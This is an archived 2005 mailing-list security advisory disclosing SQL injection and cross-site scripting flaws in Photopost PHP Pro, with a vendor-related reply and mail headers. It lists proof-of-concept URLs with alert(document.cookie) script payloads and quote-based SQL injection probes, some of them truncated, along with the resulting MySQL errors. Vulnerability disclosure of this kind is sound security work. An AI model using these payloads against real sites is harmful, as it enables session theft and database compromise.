Multiple Sql injection, and multiple XSS vulnerabilities in

Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity: High
Title: Multiple Sql injection, and multiple XSS vulnerabilities in Photopost PHP Pro Photo Gallery Software.
Date: March 29, 2005

Summary:
There are multiple sql injection, xss vulnerabilities in the Photopost PHP Pro Photo Gallery Software.
Vendor: Photopost
Vendor website: http://www.photopost.com/

Proof of Concept Exploits:
http://localhost/photos/showgallery....script%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showgallery....riendemail=%3d'email%40yourfriend.com')this.value%3d''%3b&passwo rd=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showgallery....script%3Ealert(document.cookie)%3C/script%3E&friendemail=%3d'email%40yourfriend.com') this.value%3d''%3b&password=
Pops cookie


http://localhost/photos/showgallery....script%3Ealert(document.cookie)%3C/script%3E&cat=2&ppuser=&friendemail=%3d'email%40yo urfriend.com')this.value%3d''%3b&password=
Pops cookie


http://localhost/photos/showgallery....script%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showmembers....script%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showmembers....script%3Ealert(document.cookie)%3C/script%3E&cat=500&ppuser=
Pops cookie


http://localhost/photos/showmembers....script%3Ealert(document.cookie)%3C/script%3E&sort=4&cat=500&ppuser=
Pops cookie


http://localhost/photos/showmembers.php?sl='SQL_INJECTION
SQL INJECTION
MySQL error reported!

Script: showmembers

Query: SELECT user,userid,SUM(views) AS tviews,COUNT(*) AS pcount,MAX(lastpost) AS maxlast,MAX(date) AS maxdate,date,SUM(filesize) AS tfilesize,id FROM photos WHERE user LIKE ''SQL_INJECTION%' GROUP BY user ORDER BY user ASC

Result: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION%' GROUP BY user ORDER BY user ASC' at line 2

Database handle: Resource id #1


http://localhost/photos/showphoto.php?photo='SQL_ERROR
SQL ERROR, INFORMATION DISCLOSURE
MySQL error reported!

Script: showphoto

Query: SELECT id,bigimage,cat,userid,approved,storecat FROM photos WHERE cat='' AND userid= AND approved='1' ORDER BY disporder,lastpost DESC

Result: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND approved='1' ORDER BY disporder,lastpost DESC' at line 1

Database handle: Resource id #1


http://localhost/photos/slideshow.ph...script%3Ealert(document.cookie)%3C/script%3E&amp%3bpassword=&amp%3bsort=1&amp%3bcat=5 02
Pops cookie


Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digital
paradox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.

In-Reply-To: <1112047432_32079@S1.cableone.net>

I ran audit's on da latest version available for download on the Photopost website, and was unaware of your release so i apologise for the confusion.
Dcrab

>Received: (qmail 32267 invoked from network); 29 Mar 2005 22:12:43 -0000
>Received: from outgoing.securityfocus.com (HELO outgoing2.securityfocus.com) (205.206.231.26)
> by mail.securityfocus.com with SMTP; 29 Mar 2005 22:12:43 -0000
>Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
> by outgoing2.securityfocus.com (Postfix) with QMQP
> id D2B1F144E1B; Tue, 29 Mar 2005 11:33:25 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 30350 invoked from network); 28 Mar 2005 14:41:04 -0000
>From: "GulfTech Security Research" <security@gulftech.org>
>To: <bugtraq@securityfocus.com>
>Subject: RE: Multiple Sql injection, and multiple XSS vulnerabilities in Photopost PHP Pro Photo Gallery Software.
>Date: Mon, 28 Mar 2005 16:03:24 -0600
>MIME-Version: 1.0
>Content-Type: text/plain;
> charset="windows-1250"
>Content-Transfer-Encoding: 7bit
>X-Mailer: Microsoft Office Outlook, Build 11.0.6353
>In-Reply-To: <20050328192116.16152.qmail@www.securityfocus.com>
>X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478
>Thread-Index: AcUz295H5cAHziumRKWigJxsdcguyAABNrIg
>Message-ID: <1112047432_32079@S1.cableone.net>
>X-IP-stats: Incoming Last 2, First 77, in=49, out=0, spam=0
>X-External-IP: 24.117.152.22
>X-Abuse-Info: Send abuse complaints to abuse@cableone.net
>
>The SQL Injection issue in showmembers.php (showmembers.php?si=[SQL]) was
>reported to one of the lead developers Michael Pierce on March 11th 2005 by
>James Bercegay of GulfTech Research And Development and has since been fixed
>after being confirmed a legitimate security risk. Users with the older
>vulnerable versions are urged to upgrade asap. More information can be found
>on the official PhotoPost forums.
>
>James
>
>
>
>-----Original Message-----
>From: dcrab@hackerscenter.com [mailto:dcrab@hackerscenter.com]
>Sent: Monday, March 28, 2005 1:21 PM
>To: bugtraq@securityfocus.com
>Subject: Multiple Sql injection, and multiple XSS vulnerabilities in
>Photopost PHP Pro Photo Gallery Software.
>
>
>
>Dcrab 's Security Advisory
>http://icis.digitalparadox.org/~dcrab
>http://www.hackerscenter.com/
>
>Severity: High
>Title: Multiple Sql injection, and multiple XSS vulnerabilities in Photopost
>PHP Pro Photo Gallery Software.
>Date: March 29, 2005
>
>--
>No virus found in this outgoing message.
>Checked by AVG Anti-Virus.
>Version: 7.0.308 / Virus Database: 266.8.3 - Release Date: 3/25/2005
>
>
>